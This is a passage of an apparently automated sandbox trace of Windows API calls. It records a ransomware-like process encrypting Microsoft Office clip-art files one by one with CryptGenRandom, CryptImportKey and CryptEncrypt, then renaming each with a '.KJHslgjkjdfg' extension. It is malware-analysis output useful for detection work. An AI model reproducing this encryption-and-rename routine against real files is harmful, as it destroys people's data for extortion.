[0219.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0219.629] GetProcessHeap () returned 0x2ef0000 [0219.629] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0219.629] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf.kjhslgjkjdfg")) returned 1 [0219.631] CloseHandle (hObject=0x130) returned 1 [0219.631] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe160cb00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe160cb00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x282c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03339_.WMF", cAlternateFileName="")) returned 1 [0219.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.633] GetProcessHeap () returned 0x2ef0000 [0219.633] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0219.633] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0219.633] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0219.633] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0219.635] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.635] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.635] GetProcessHeap () returned 0x2ef0000 [0219.635] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0219.635] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0219.635] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0219.635] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0219.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0219.635] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0219.635] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0219.636] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0219.636] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.636] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.636] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x282c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x282c, lpOverlapped=0x0) returned 1 [0219.637] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2830, dwBufLen=0x2830 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2830) returned 1 [0219.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.637] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2830, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2830, lpOverlapped=0x0) returned 1 [0219.637] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.637] SetEndOfFile (hFile=0x130) returned 1 [0219.638] GetProcessHeap () returned 0x2ef0000 [0219.638] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0219.638] GetProcessHeap () returned 0x2ef0000 [0219.638] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0219.638] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf.kjhslgjkjdfg")) returned 1 [0219.640] CloseHandle (hObject=0x130) returned 1 [0219.641] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2108, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03451_.WMF", cAlternateFileName="")) returned 1 [0219.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.642] GetProcessHeap () returned 0x2ef0000 [0219.642] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0219.642] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0219.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0219.642] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0219.840] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.840] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.840] GetProcessHeap () returned 0x2ef0000 [0219.840] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0219.840] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0219.840] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0219.840] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0219.840] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0219.840] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0219.840] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0219.841] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0219.843] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0219.846] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0219.847] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0219.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.847] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2108, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2108, lpOverlapped=0x0) returned 1 [0220.201] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2110, dwBufLen=0x2110 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2110) returned 1 [0220.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.202] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2110, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2110, lpOverlapped=0x0) returned 1 [0220.202] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0220.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.202] SetEndOfFile (hFile=0x130) returned 1 [0220.205] GetProcessHeap () returned 0x2ef0000 [0220.205] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0220.205] GetProcessHeap () returned 0x2ef0000 [0220.205] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0220.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf.kjhslgjkjdfg")) returned 1 [0220.208] CloseHandle (hObject=0x130) returned 1 [0220.208] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d695e00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d695e00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1f24, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03453_.WMF", cAlternateFileName="")) returned 1 [0220.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.209] GetProcessHeap () returned 0x2ef0000 [0220.209] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0220.209] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0220.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0220.209] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0220.223] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0220.223] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0220.223] GetProcessHeap () returned 0x2ef0000 [0220.223] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0220.223] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0220.224] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0220.224] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0220.224] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0220.224] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0220.224] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0220.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0220.224] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0220.224] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0220.224] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0220.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.225] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f24, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f24, lpOverlapped=0x0) returned 1 [0220.277] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f30, dwBufLen=0x1f30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f30) returned 1 [0220.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.278] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f30, lpOverlapped=0x0) returned 1 [0220.278] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0220.278] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.278] SetEndOfFile (hFile=0x130) returned 1 [0220.279] GetProcessHeap () returned 0x2ef0000 [0220.279] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0220.279] GetProcessHeap () returned 0x2ef0000 [0220.279] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0220.279] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf.kjhslgjkjdfg")) returned 1 [0220.281] CloseHandle (hObject=0x130) returned 1 [0220.281] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03459_.WMF", cAlternateFileName="")) returned 1 [0220.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.283] GetProcessHeap () returned 0x2ef0000 [0220.284] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0220.284] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0220.284] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0220.284] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0220.545] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0220.545] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0220.545] GetProcessHeap () returned 0x2ef0000 [0220.545] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0220.545] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0220.545] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0220.545] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0220.545] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0220.545] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0220.545] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0220.545] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0220.545] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0220.545] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0220.545] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0220.545] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.546] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2178, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2178, lpOverlapped=0x0) returned 1 [0220.887] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2180, dwBufLen=0x2180 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2180) returned 1 [0220.887] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.888] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2180, lpOverlapped=0x0) returned 1 [0220.888] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0220.888] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.888] SetEndOfFile (hFile=0x130) returned 1 [0220.891] GetProcessHeap () returned 0x2ef0000 [0220.891] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0220.891] GetProcessHeap () returned 0x2ef0000 [0220.891] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0220.891] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf.kjhslgjkjdfg")) returned 1 [0220.893] CloseHandle (hObject=0x130) returned 1 [0220.893] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, 